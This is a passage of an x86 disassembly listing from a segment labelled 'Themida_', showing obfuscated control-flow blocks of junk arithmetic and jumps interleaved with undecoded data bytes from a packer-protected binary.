; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0FF8B48E9h, 2434FFFFh, 592434FFh, 4C481h, 0C4810000h
		dd 4, 4C181h, 70680000h, 8900000Ch, 2BB241Ch, 1000000h
		dd 0C335BD9h, 240C3124h, 5C240C33h, 2896664h, 0FF5D24E9h
		dd 59CE01FFh, 0B06EE81h, 58E9B554h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5093AB:				; CODE XREF: Themida_:0050213Aj
		add	esp, 4
		push	edx
		mov	edx, 55A416D9h
		sub	eax, 7CE44D9Fh
		sub	eax, edx
		jmp	loc_507ED7
; ---------------------------------------------------------------------------
		dd 28EEEE80h, 14685AF7h, 89000031h, 51B22414h, 148BD700h
		dd 4C48324h, 0FF8FADE9h, 8BF801FFh, 9FE9243Ch, 81FFFF8Bh
		dd 1A7C0AEBh, 90E95968h, 0FFFFFFE5h, 589D1C77h,	9C240411h
		dd 0FF5CC0E9h, 73E952FFh, 81FFFFC2h, 4C1h, 0E5CBE900h
		dd 0E981FFFFh, 5751140h, 1656E958h, 8B660000h, 8957240Ch
		dd 0E9E5E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50942A:				; CODE XREF: Themida_:00500CAFj
		sub	ebx, 0EACE8358h
		xor	edx, ebx
		pop	ebx
		push	edx
		xor	dword ptr [esp], 48304BD2h
		pop	esi
		xor	esi, 48304BD2h
		pop	edx
		jmp	loc_509EDA
; ---------------------------------------------------------------------------
		dd 50D831ADh, 0BD55E089h, 39CF6F1Fh, 0E906EDC1h, 0FFFFB014h
		dd 505266ACh, 8853CBB4h, 885250E7h, 0FFF488FEh,	515A2434h
		dd 39E9E189h, 0BAFFFFD5h, 19915ED0h, 0FFFEBFE9h, 58E500FFh
		dd 4CE9E800h, 66FFFFC9h, 8F58E95Ah, 0F787FFFFh,	0EC83E7D1h
		dd 24348904h, 0FFB809E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5094A1:				; CODE XREF: Themida_:00505B02j
		sub	al, 1Fh
		jmp	loc_502DD9
; ---------------------------------------------------------------------------


loc_5094A8:				; CODE XREF: Themida_:005056ADj
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4


loc_5094B1:				; CODE XREF: Themida_:00507A33j
		push	108Eh
		mov	[esp], edi
		push	edx
		push	ebp
		push	ebx
		pop	ebp
		jmp	loc_507017
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0B7C4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5094CA:				; CODE XREF: Themida_:00509CFEj
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, 2
		sub	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_501D89
; ---------------------------------------------------------------------------
		dd 0FB015D5Fh, 0FF6682E9h, 0C8B66FFh, 89515124h, 4C181E1h
		dd 81000000h, 4E9h, 0D5DAE900h,	0D830FFFFh, 77ED68h, 7019E900h
		dd 8B66FFFFh, 89502404h, 56E952E0h, 0AD00001Ah,	0E952D831h
		dd 0FFFF8AF4h
; ---------------------------------------------------------------------------


loc_509528:				; CODE XREF: Themida_:00504EC6j
		shl	edx, 1
		push	eax
		mov	eax, 7D1731C6h
		inc	eax
		xor	eax, 26B42A60h
		and	eax, 2C483D69h
		sub	eax, 1
		shl	eax, 5
		push	ebp
		push	esi
		mov	esi, 52C0642Bh
		mov	ebp, 5BB4184Dh
		jmp	loc_502E81
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89512404h, 0F9BB53E1h, 0F731C965h, 14F753D3h, 1390E924h
		dd 4310000h, 4EE99C24h,	80FFFF5Bh, 0C8283BC1h, 58C10859h
		dd 0F180C1FEh, 0E9C80054h, 18FDh, 56242489h, 4BEh, 693DE900h
		dd 26E9FFFFh
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50959B:				; CODE XREF: Themida_:004FF4D3j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_50279C
; ---------------------------------------------------------------------------
		dd 0B41FC5BDh, 0ED814565h, 65B41FC2h, 555DE801h, 4A677CBDh
		dd 0EE32E933h, 815DFFFFh, 4C5h,	4ED8300h, 0FFB2F1E9h, 148B66FFh
		dd 7E8AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5095D6:				; CODE XREF: Themida_:00500799j
		push	24h
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_504A4C
; ---------------------------------------------------------------------------
		db 0BEh, 24h, 79h
		dd 0F029013Ah, 0E92434FFh, 0FFFFE2B0h, 2DFEE781h, 0EF817BE1h
		dd 0FD558381h, 405FF809h, 83F3C05h, 0FB23E918h,	6850FFFFh
		dd 44F155C6h, 0BD680558h, 0C6891CBDh, 6824048Bh, 6DF5h
		dd 54243489h, 4C6815Eh,	81000000h, 4C6h, 24348700h, 0F724248Bh
		dd 2DC681DEh, 31AED66Fh, 24348BF0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 3815663Dh
		jmp	loc_501755
; ---------------------------------------------------------------------------
		dw 56E9h
		dd 0BBFFFF5Ah, 337B7C0Dh, 0FF90C6E9h, 491DB8FFh, 0C10110A1h
		dd 3CC98158h, 81015E1Ah, 0B9C66EF1h, 59CD8907h,	6CCD814Dh
		dd 0E9790667h, 0FFFF88DCh, 0BBE9E789h, 5EFFFF8Fh, 2404295Bh
		dd 636668h, 24348900h, 32542668h, 0B9515E62h, 5A556120h
		dd 8244C01h, 24448159h,	0D4271104h, 24740166h, 0B6DE904h
		dd 0EE830000h, 8DCCE904h, 8B66FFFFh, 6853240Ch,	7C3Ah
		dd 50242489h, 4B8h, 0D67E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5096EE:				; CODE XREF: Themida_:0050587Aj
		sub	ecx, edi
		pop	edi
		add	ecx, esi
		push	esi
		mov	esi, 26C737A2h
		add	ecx, esi
		pop	esi
		jmp	loc_5052FB
; ---------------------------------------------------------------------------
		db 21h,	0F1h, 0E9h
		dd 0FFFFA8E4h, 4B9h, 0DCCEE900h, 8B66FFFFh, 4E682404h
		dd 8900007Bh, 0E189240Ch, 3377BA52h, 0C2812F29h, 0D0D6CC8Dh
		dd 209DC181h, 0D10139EAh, 99E5E953h, 82E9FFFFh
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50973F:				; CODE XREF: Themida_:00502E5Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	56D5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		mov	eax, 382C7201h
		add	eax, 0C7D38E03h
		jmp	loc_5058F4
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 30FF6624h, 0FFF33DE9h, 0E0B850FFh, 0E969050Eh, 0FFFFA744h
		dd 7C21BE56h, 0F0016B6Bh, 0FF5AF2E9h, 81E189FFh, 4C1h
		dd 4C18300h, 5C240C87h,	0A033E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5097A2:				; CODE XREF: Themida_:00503510j
		add	edi, eax
		pop	eax
		push	ebp
		push	eax
		push	3B4147D4h
		pop	eax
		push	esi
		mov	esi, 0C4BEB830h
		add	eax, 27E41571h
		add	eax, esi
		sub	eax, 27E41571h
		pop	esi
		push	edx
		mov	edx, eax
		mov	ebp, edx
		pop	edx
		pop	eax
		add	edi, ebp
		push	dword ptr [esp]
		jmp	loc_505BF2
; ---------------------------------------------------------------------------


loc_5097D1:				; CODE XREF: Themida_:00501122j
		add	[esp+4], eax
		add	dword ptr [esp+4], 72C50355h
		pop	eax
		pop	edx
		jmp	loc_501B5D
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 5604C683h, 42474FFh, 24048F5Eh, 73E9535Ch
		dd 0FFFFFFA6h, 68582434h, 7182h, 89240489h, 177DE9E0h
		dd 0B5510000h, 59EB88E6h, 0FFAE64E9h, 4BD55FFh,	1000000h
		dd 8B04246Ch, 0C481242Ch, 4, 1516E95Bh,	248B0000h, 0C8B6624h
		dd 61436824h, 0C890000h, 4EC8124h, 89000000h, 2BE92424h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509853:				; CODE XREF: Themida_:004FF595j
		push	ebx
		push	6FFB077Eh
		pop	ebx
		shl	ebx, 5
		jmp	loc_50B152
; ---------------------------------------------------------------------------
		dw 0D7F6h
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0FF710DE9h, 5EBC1FFh
		dd 12E5E9h, 24048900h, 0E951F0B4h, 0FFFFD6FAh
; ---------------------------------------------------------------------------


loc_50988C:				; CODE XREF: Themida_:0050926Aj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		jmp	loc_4FFCA1
; ---------------------------------------------------------------------------
		db 29h
		dd 0FDC781D7h, 5A7D354Ch, 85E9F801h, 5C00000Ah,	24048966h
		dd 0FF5808E9h, 86F586FFh, 2B050EFh, 8058C730h, 6BE93BC7h
		dd 8BFFFF7Ah, 0E9F62424h, 0CCB60F66h, 8904EC83h, 8C68243Ch
		dd 8900005Dh, 68572424h, 4, 247C015Fh, 15D9E904h, 0CF290000h
		dd 5FF88959h, 0FFD55EE9h, 83BA52FFh, 55113D5Dh,	0D05888BDh
		dd 0E2BCE92Ch, 0D1F7FFFFh, 0FF64BEE9h, 4EC81FFh, 0E9000000h
		dd 0FFFFAB1Fh
; ---------------------------------------------------------------------------


loc_509920:				; CODE XREF: Themida_:00500B22j
		pop	edi
		jmp	loc_50A7E3
; ---------------------------------------------------------------------------
		dw 0BC25h
		dd 0E956813Ch, 0FFFF5D3Eh, 4608EEC1h, 0BF57D6F7h, 3FFA115Bh
		dd 0E781DFF7h, 2D86213Bh, 3FD0E781h, 0E7811A44h, 6CA82CDCh
		dd 3666F781h, 0E9436Eh,	0BD000006h, 311773CDh, 99E9DDF7h
		dd 51FFFFE8h, 0C40F3FB9h, 81D9F754h, 1552FAC1h,	0C81CE97Dh
		dd 48FFFFFh, 5DBCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509982:				; CODE XREF: Themida_:00509E13j
		xor	edx, ebx
		jmp	loc_509D03
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 31E9565Bh, 81FFFF80h, 0AE7417EFh, 1AC7811Fh,	596F7B16h
		dd 0FF9892E9h, 59C829FFh, 4F05D001h, 0FF3D7F51h, 815A2434h
		dd 4C4h, 4C08300h, 2474FF50h, 0C68FE904h, 0C381FFFFh, 4
		dd 4C381h, 1C870000h, 0EC815C24h, 4, 89240489h,	405E0h
		dd 42D0000h, 0E9000000h, 0FFFF9E28h, 0E904C483h, 0FFFFF85Dh
		dd 0D04EDEB9h, 0C1D9F721h, 0E1C102E9h, 0FFE98105h, 0C1FFFFFFh
		dd 0E98103E9h, 166E7B8Fh, 481E9h, 13BD5500h, 450F7833h
		dd 0E902EDC1h, 0FFFF9B1Dh
; ---------------------------------------------------------------------------


loc_509A28:				; CODE XREF: Themida_:00502C27j
		push	edi
		pop	ecx
		pop	edi
		not	edi
		push	ecx
		push	edi
		pop	ecx
		pop	edi
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5021CF
; ---------------------------------------------------------------------------
		dd 0B4506659h, 66E22899h, 8BD58858h, 0C4832414h, 16DAE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_509A62:				; CODE XREF: Themida_:005065E2j
		mov	ebp, 7B111D99h
		shr	ebp, 3
		inc	ebp
		add	ebp, 16C933E0h
		and	ebp, 9DA5F19h
		shl	ebp, 5
		jmp	loc_505994
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2, 37FCEE81h, 0EE01631Dh, 0FF57DCE9h, 0E38953FFh, 4C381h
		dd 0C3830000h, 241C8704h, 0F961E95Ch, 0ED83FFFFh, 0ECF581FFh
		dd 0E9014C30h, 1A3h
; ---------------------------------------------------------------------------


loc_509AB4:				; CODE XREF: Themida_:00500301j
		push	2D0Fh
		mov	[esp], edx
		mov	edx, 4EB9088Dh
		push	ecx
		mov	ecx, 780E591Fh
		jmp	loc_5009DA
; ---------------------------------------------------------------------------


loc_509ACC:				; CODE XREF: Themida_:0050898Fj
		mov	ecx, 532433Fh
		jmp	loc_500CA7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5FBD5504h, 0E9751A53h, 0FFFFF0C3h
; ---------------------------------------------------------------------------


loc_509AE4:				; CODE XREF: Themida_:00508B6Dj
		mov	esp, [esp]
		idiv	cx
		push	ebp
		mov	ebp, esp
		push	ebx
		push	ebp
		push	25F56A7Ch
		pop	ebp
		dec	ebp
		shl	ebp, 8
		neg	ebp
		jmp	loc_50917C
; ---------------------------------------------------------------------------
		dd 0B7DEEE81h, 0F7297B36h, 906DE95Eh, 0E189FFFFh, 4C181h
		dd 0E9810000h, 4, 5C240C87h, 0BA241489h, 3274449Fh, 0F281D2F7h
		dd 0CD8BBB64h, 3BE9D501h, 81FFFFD2h, 4C5h, 242C8700h, 2C1835Ch
		dd 0FFB2F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509B49:				; CODE XREF: Themida_:0050684Ej
		push	edx
		mov	edx, 0
		jmp	loc_50AAF5
; ---------------------------------------------------------------------------
		dd 43DFF181h, 0CB011D5Ah, 9C2FE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509B62:				; CODE XREF: Themida_:00507608j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	al, 0ECh
		add	al, 17h
		sub	al, cl
		jmp	loc_501A62
; ---------------------------------------------------------------------------
		dw 0DF68h
		dd 5A71B460h, 81EAD142h, 0C33DFAC2h, 94C28158h,	52C3D0C2h
		dd 7F242C81h, 8B4D0207h, 48E92434h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509BA3:				; CODE XREF: Themida_:00500808j
		mov	ecx, 4
		add	ebp, 31F37621h
		sub	ebp, ecx
		sub	ebp, 31F37621h
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_509C45
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 320204Dh, 5D61E981h,	0F1011625h, 0FFC287E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509BD9:				; CODE XREF: Themida_:0050603Cj
		push	ecx
		push	7FDE99AFh
		pop	ecx
		xor	ebx, ecx
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5023AD
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		push	4447h
		mov	[esp], ebp
		push	esp
		jmp	loc_508C88
; ---------------------------------------------------------------------------
		dw 565Eh
		dd 0C681E689h, 4, 4C681h, 34870000h, 0C6815C24h, 4, 0FFD979E9h
		dd 13EE80FFh, 0E95AF000h, 0FFFFA697h
; ---------------------------------------------------------------------------


loc_509C34:				; CODE XREF: Themida_:0050304Fj
		inc	esi
		and	esi, 784D26B4h
		jmp	loc_504899
; ---------------------------------------------------------------------------
		dd 0FF547CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509C45:				; CODE XREF: Themida_:00509BC1j
		mov	[esp], ebp
		mov	ebp, 37C5317Fh
		push	102Fh
		jmp	loc_50B0A2
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C58102E5h, 0E57B829Ah, 67E9E889h, 0F7000011h, 4C181D9h
		dd 818FB388h, 0E11609C5h, 81CD0112h, 0E11609EDh, 0C5815912h
		dd 4, 0E9242C87h, 0FFFF708Dh, 0FEC8EB80h, 16F380C3h, 8089EC80h
		dd 0B4E91CC4h, 0C1FFFFC5h, 424204E2h, 0C7AE9h
		db 0
; ---------------------------------------------------------------------------


loc_509CA9:				; CODE XREF: Themida_:00502655j
		mov	edi, [esp]
		jmp	loc_505DA7
; ---------------------------------------------------------------------------


loc_509CB1:				; CODE XREF: Themida_:00508BE6j
		mov	ebp, ecx
		jmp	loc_504044
; ---------------------------------------------------------------------------
		dd 0EE81FE01h, 2B953A51h, 0B68535Fh, 5B6FA91Bh,	8105E3C1h
		dd 0A02279EBh, 0FDC3817Bh, 0E977C407h, 0FFFFDFF8h, 0A0C5E957h
		dd 14F7FFFFh, 4B2D5824h, 9A2CF05h, 24048BC6h, 0FF6886E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509CF5:				; CODE XREF: Themida_:005022B9j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5094CA
; ---------------------------------------------------------------------------


loc_509D03:				; CODE XREF: Themida_:00509984j
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_503E88
; ---------------------------------------------------------------------------
		db 29h,	0DFh, 5Bh
		dd 0BA52CF01h, 1A00A26h, 8108E2C1h, 803176F2h, 5AD701A9h
		dd 74FF5759h, 0EDE90424h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509D2F:				; CODE XREF: Themida_:0050B158j
		add	ebx, 55CD12B4h
		push	edx
		mov	edx, 3F34C3F4h
		xor	ebx, edx
		pop	edx
		mov	esi, ebx
		pop	ebx
		and	eax, esi
		jmp	loc_507658
; ---------------------------------------------------------------------------
		dd 54CDC381h, 0FB015D05h, 54CDEB81h, 0B9685D05h, 8900005Fh
		dd 0A8E9240Ch, 0E9FFFFE7h, 0FFFF5359h, 83241C8Bh, 0B15104C4h
		dd 0E9505393h, 0FFFF569Ah, 24048B66h, 2F6068h, 243C8900h
		dd 0FF707DE9h, 4EC83FFh, 0B9240C89h, 331272D6h,	1272D8BBh
		dd 0E9CB2933h, 0FFFF92B4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5070CA
; ---------------------------------------------------------------------------
		dd 0C0B2C580h, 536602EDh, 7DE97BB7h, 5BFFFF69h,	31240433h
		dd 4332404h, 0EC835C24h, 982CE904h, 8225FFFFh, 0E975E329h
		dd 0FFFFB3FDh, 0E468E389h, 89000068h, 0EBE2434h, 4E260C52h
		dd 2414F756h, 0C1DEF75Eh, 0D5E902E6h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509E03:				; CODE XREF: Themida_:005061CCj
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		push	ebp
		xchg	edi, [esp]
		xchg	edx, edi
		xor	edx, ebx
		xor	ebx, edx
		jmp	loc_509982
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 64C5E31Dh, 2552C781h, 0DF013A00h, 0FF557CE9h
		dd 0F6D8B0FFh, 0E9B604D8h, 0FFFFEE8Eh, 8EDC14Dh, 0FF966EE9h
		dd 48B66FFh, 0F4685624h, 68000077h, 26F0h, 0E9242489h
		dd 0FFFFD903h
; ---------------------------------------------------------------------------


loc_509E58:				; CODE XREF: Themida_:005031C8j
		mov	ecx, [esp]
		jmp	loc_508F90
; ---------------------------------------------------------------------------


loc_509E60:				; CODE XREF: Themida_:0050930Fj
		add	eax, edx
		sub	eax, 66EB33D0h
		pop	edx
		jmp	loc_5036FB
; ---------------------------------------------------------------------------
		db 0ADh, 0E9h, 2Dh
		dd 81FFFFB7h, 57232FEAh, 0E9D631A6h, 0FFFF7319h
; ---------------------------------------------------------------------------


loc_509E80:				; CODE XREF: Themida_:00504E0Ej
		add	esp, 4
		xchg	eax, ebp
		dec	ebp
		xchg	eax, ebp
		add	eax, 8B8CC26Ah
		push	edx
		mov	edx, 24h
		add	edx, edi
		add	[edx], eax
		jmp	loc_509F7D
; ---------------------------------------------------------------------------
		dw 0CB29h
		dd 0FF9511E9h, 0D1215FFFh, 8124148Bh, 4C4h, 6E9C100h, 4EC8356h
		dd 8B241C89h, 7FE92434h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509EBF:				; CODE XREF: Themida_:0050038Aj
		xchg	ebp, esi
		xchg	ebx, ebp
		not	ebx
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		xchg	ebp, esi
		push	eax
		push	esi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_508AB7
; ---------------------------------------------------------------------------


loc_509EDA:				; CODE XREF: Themida_:00509443j
		add	esi, eax
		pop	eax
		and	eax, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_4FF29E
; ---------------------------------------------------------------------------
		dd 219DC381h, 51E9F11Eh, 0BBFFFF86h, 15AB4133h,	4137F381h
		dd 0DA0115ABh, 83241C8Bh, 0A3E904C4h, 0C1FFFF7Ch, 0D0F705E0h
		dd 0FF5B70E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509F1D:				; CODE XREF: Themida_:005078E5j
		add	edx, eax
		add	edx, 1E2219DAh
		push	ecx
		mov	ecx, 0A5D3A17h
		push	edx
		push	ecx
		jmp	loc_504352
; ---------------------------------------------------------------------------
		dw 0BBh
		dd 0E9000000h, 548h, 649CE981h,	0E95D7970h, 0FFFFDC6Eh
		dd 0C103EEC1h, 464E04EEh, 0FF7C73E9h, 89E959FFh, 81FFFFCDh
		dd 9F853C7h, 0D2BEE937h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_509F66:				; CODE XREF: Themida_:0050846Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_4FF760
; ---------------------------------------------------------------------------


loc_509F7D:				; CODE XREF: Themida_:00509E95j
		pop	edx
		mov	eax, [esp]
		add	esp, 4


loc_509F84:				; CODE XREF: Themida_:00504D9Fj
		push	10BFh
		mov	[esp], ebx
		push	ebp
		mov	ebp, 6D2949A8h
		sub	dword ptr [esp+4], 54CE6639h
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 54CE6639h
		jmp	loc_5043F0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC832414h, 24048904h, 0FF74DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_509FB9:				; CODE XREF: Themida_:00501E2Cj
		pop	edi
		push	ebp
		jmp	loc_4FFC37
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4BB53h, 0C5810000h, 5C6B03DFh, 0ED81DD01h
		dd 5C6B03DFh, 242C875Bh, 0E924248Bh, 9EDh, 0ED80F3B5h
		dd 8BE8005Fh, 0C483240Ch, 4B686604h, 0C89661Bh,	4A7B124h
		dd 4B0478h, 4EC83C8h, 0B3241C89h, 0A6F38047h, 0FFBEEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A015:				; CODE XREF: Themida_:00503C49j
		mov	edi, 2FA539B2h
		jmp	loc_503E0D
; ---------------------------------------------------------------------------
		db 80h
		dd 0C58044EDh, 79C58033h, 0FE09ED80h, 0AF580C5h, 7AE9EB00h
		dd 2CFFFF75h, 0E9C688ABh, 0FFFF7AB5h, 4BFh, 5FFB0100h
		dd 0E9241C87h, 0FFFFCA4Ch, 1639D0BEh, 0E9D6F730h, 0FFFFBAABh
		dd 8104C483h, 2C3h, 241C8700h, 6624248Bh, 0E9C8AF0Fh, 0FFFF972Eh
		dd 93F3815Bh, 0E96DA57Dh, 0FFFFD93Eh, 8B04C483h, 0FEE92434h
		dd 1FFFF8Ch, 5D5DE9DAh,	1068FFFFh, 89000020h, 86E9242Ch
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A09F:				; CODE XREF: Themida_:005070D6j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_500120
; ---------------------------------------------------------------------------
		db 0B8h, 0FFh, 59h
		dd 0C7310B75h, 5FFB2958h, 649AE956h, 0EC83FFFFh, 24148904h
		dd 1A51BF57h, 0E781633Ah, 77031BC5h, 5AD1E94Fh,	0B951FFFFh
		dd 7B795F2Fh, 159CB01h,	2FEB81CBh, 597B795Fh, 0FF90A0E9h
		dd 80CFFEFFh, 0EC8301EFh, 14896602h, 52B224h, 805A66D7h
		dd 0EF80C6F7h, 5BF88862h, 5366BA34h, 0EBE94BB7h, 0BFFFFFD7h
		dd 5CD77B03h, 8105EFC1h, 4D216AF7h, 0F7814F70h,	43C55AF9h
		dd 0FFF4D7E9h, 3032B6FFh, 8931E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A136:				; CODE XREF: Themida_:00500517j
		xor	ecx, [esp]
		pop	esp
		jmp	loc_50AACE
; ---------------------------------------------------------------------------
		align 10h
		dd 8B665BD8h, 4DE9240Ch, 5FFFFBFh, 78DA1245h, 0FF6A81E9h
		dd 4335DFFh, 24043124h,	8B240433h, 34FF2424h, 28E924h
		dd 0E6810000h, 192D2E79h, 2E6C146h, 7706E681h, 0EE8116D6h
		dd 9309EBA5h, 5FE9F229h, 8BFFFF8Bh, 0C483240Ch,	0DD3FE904h
		dd 48BFFFFh, 4C48324h, 0FFE5F8E9h, 0A5F358FFh, 0FF8C01E9h
		dd 0BE4FBDFFh, 0EF29F586h, 5FFD215Dh, 0B5D4E951h, 0C89FFFFh
		dd 50E18924h, 0CD0709B8h, 0E9D8F755h, 0FFFF6014h
; ---------------------------------------------------------------------------


loc_50A1C8:				; CODE XREF: Themida_:005032A0j
		add	esi, 24A86471h
		pop	ecx
		mov	[edx], esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4


loc_50A1DB:				; CODE XREF: Themida_:00500C13j
					; Themida_:00505D64j
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 18AD0603h
		push	0CEFh
		mov	[esp], eax
		mov	eax, 49734E0Ch
		jmp	loc_505E94
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
		dd 0F610E924h, 575DFFFFh, 2BFh,	0CB2DE900h, 0CE01FFFFh
		dd 2EA9BF57h, 0DFF72EC8h, 0FFA021E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A21D:				; CODE XREF: Themida_:00506228j
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 52F6D35h
		or	edi, 10523E5Dh
		jmp	loc_508E32
; ---------------------------------------------------------------------------


loc_50A233:				; CODE XREF: Themida_:00507FF7j
		pop	esp
		and	eax, edi
		jmp	loc_5076F3
; ---------------------------------------------------------------------------
		db 81h
		dd 1104246Ch, 8166D427h, 2004246Ch, 5E5A5561h, 0FF7E6DE9h
		dd 0C8B66FFh, 4F866824h, 0CFE90000h, 68FFFFDEh,	4DDC73CFh
		dd 45C6815Eh, 0E978E72Eh, 0FFFF8038h, 8B240C87h, 0A9E92424h
		dd 100000Ch, 0BE5659CFh, 4, 875EF701h, 248B243Ch, 68F1F724h
		dd 5E70h, 0E9241489h, 0FFFF9D49h, 0EA81D2F7h, 920BA7BBh
		dd 815AD101h, 97615FE9h, 67EFE966h, 1489FFFFh, 81E28924h
		dd 4C2h, 4EA8100h, 0E9000000h, 0FFFF5F7Ah, 1EB95152h, 0E96F8A3Fh
		dd 0FFFFA6D2h
; ---------------------------------------------------------------------------


loc_50A2D4:				; CODE XREF: Themida_:00504EAFj
		mov	ebx, 2
		jmp	loc_50420D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C6E9241Ch, 8300000Eh, 0C38104C4h, 4, 4C381h, 1C870000h
		dd 4315C24h, 4DBFE924h,	0CF01FFFFh, 0EBEEF81h, 89597DE3h
		dd 0BF575FFDh, 57C73AB6h, 0FFF0C4E9h, 57D7F7FFh, 5F2404FFh
		dd 5F28CF81h, 0E2E922BEh, 66FFFFACh, 0E902B60Fh, 0FFFFC85Dh
		dd 2E8835Fh, 0E9240487h, 0FFFFACB4h
; ---------------------------------------------------------------------------


loc_50A340:				; CODE XREF: Themida_:0050622Fj
		xchg	ebx, esi
		xor	esi, 676E7DE6h
		push	eax
		mov	eax, 26D1897Fh
		sub	esi, eax
		pop	eax
		sub	eax, esi
		jmp	loc_50252C
; ---------------------------------------------------------------------------


loc_50A358:				; CODE XREF: Themida_:00502EFAj
		pop	edx
		push	ebp
		jmp	loc_507B0E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240419h, 0FF91F7E9h, 57E689FFh,	4BFh, 5FFE0100h
		dd 607368h, 0DA76E900h,	0E980FFFFh, 7C2BE909h, 0B951FFFFh
		dd 38585BEFh, 0FF54E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50A395:				; CODE XREF: Themida_:00503265j
		pop	ebp
		push	ebx
		mov	ebx, 1B126A94h
		push	esi
		mov	esi, 17DC7050h
		jmp	loc_5003CC
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C281h, 0E2680000h, 0E9000035h, 0FFFFD445h, 0C277E950h
		dd 0F681FFFFh, 16A21880h, 0E95EF101h, 0FFFF63A4h, 1CC8CE81h
		dd 0E7E96DAFh, 81FFFFFFh, 4C4h,	23F76800h, 2C890000h, 0E6A3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50A3EA:				; CODE XREF: Themida_:00502490j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_50267A
; ---------------------------------------------------------------------------
		dd 2BFh, 6BE98100h, 160D611h, 6BC181F9h, 5F60D611h, 0FF7FEFE9h
		dd 241489FFh, 3EC768h, 4EC8100h, 89000000h, 0BE562424h
